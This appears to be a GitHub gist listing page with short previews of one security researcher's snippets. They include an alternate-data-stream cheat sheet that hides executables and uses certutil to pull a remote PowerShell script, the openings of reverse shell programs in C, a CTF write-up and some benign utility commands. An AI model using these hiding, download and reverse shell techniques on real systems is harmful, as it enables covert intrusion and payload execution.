Skip to content

Instantly share code, notes, and snippets.

@0xabe-io
0xabe-io / spin-vm.sh
Last active October 29, 2018 23:16
Spin an Ubuntu VM from a cloud image
#!/bin/bash
# quick and dirty script to spin a ubuntu VM based on a cloud image
NAME=''
DISK_SIZE=''
RAM='1024'
CPU='1'
LOCATION='TBD'
QEMU_IMG='/usr/bin/qemu-img'
@0xabe-io
0xabe-io / Exe_ADS_Methods.txt
Created April 13, 2018 23:19 — forked from api0cradle/Exe_ADS_Methods.md
Execute from Alternate Streams
#Add content to ADS
type C:\temp\evil.exe > "C:\Program Files (x86)\TeamViewer\TeamViewer12_Logfile.log:evil.exe"
extrac32 C:\ADS\procexp.cab c:\ADS\file.txt:procexp.exe
findstr /V /L W3AllLov3DonaldTrump c:\ADS\procexp.exe > c:\ADS\file.txt:procexp.exe
certutil.exe -urlcache -split -f https://raw.githubusercontent.com/Moriarty2016/git/master/test.ps1 c:\temp:ttt
makecab c:\ADS\autoruns.exe c:\ADS\cabtest.txt:autoruns.cab
print /D:c:\ads\file.txt:autoruns.exe c:\ads\Autoruns.exe
reg export HKLM\SOFTWARE\Microsoft\Evilreg c:\ads\file.txt:evilreg.reg
regedit /E c:\ads\file.txt:regfile.reg HKEY_CURRENT_USER\MyCustomRegKey
@0xabe-io
0xabe-io / sepsplit.c
Created August 21, 2017 07:50 — forked from xerub/sepsplit.c
/*
* SEP firmware split tool
*
* Copyright (c) 2017 xerub
*/
#include <fcntl.h>
#include <stddef.h>
#include <stdio.h>
#include <stdlib.h>
@0xabe-io
0xabe-io / reverse_sctp_shell.c
Created August 6, 2015 08:52
Simple C code to create a reverse shell over SCTP
// server: ncat -v --sctp -l PORT_NUM
#include <stdio.h>
#include <unistd.h>
#include <netinet/in.h>
#include <netinet/sctp.h>
#include <sys/types.h>
#include <sys/socket.h>
#include <arpa/inet.h>
#include <string.h>
@0xabe-io
0xabe-io / babyecho.rst
Last active August 29, 2015 14:21
writeup of the babyecho challenge during the Defcon 2015 qualifications

Defcon Qualifications 2015 - babyecho

babyecho is an ELF 32bit statically linked binary that reads 13 bytes at time and outputs it back:

$ ./babyecho_eb11fdf6e40236b1a37b7974c53b6c3d 
Reading 13 bytes (stdout)
123456789012345678901234567890 (stdin)
@0xabe-io
0xabe-io / firefox_config
Created February 20, 2015 15:47
Disable RTCPeerConnection in Firefox
about:config -> media.peerconnection.enabled
docker rmi $(docker images -qf "dangling=true")
@0xabe-io
0xabe-io / flv2mp4.sh
Created January 13, 2015 12:15
Convert flv without re-encoding
ffmpeg -i "$fin" -c copy -copyts "${fin%.*}.mp4"
@0xabe-io
0xabe-io / reverse_shell.c
Created January 6, 2015 15:24
Simple C code to create a reverse shell
/* credits to http://blog.techorganic.com/2015/01/04/pegasus-hacking-challenge/ */
#include <stdio.h>
#include <unistd.h>
#include <netinet/in.h>
#include <sys/types.h>
#include <sys/socket.h>
#define REMOTE_ADDR "XXX.XXX.XXX.XXX"
#define REMOTE_PORT XXX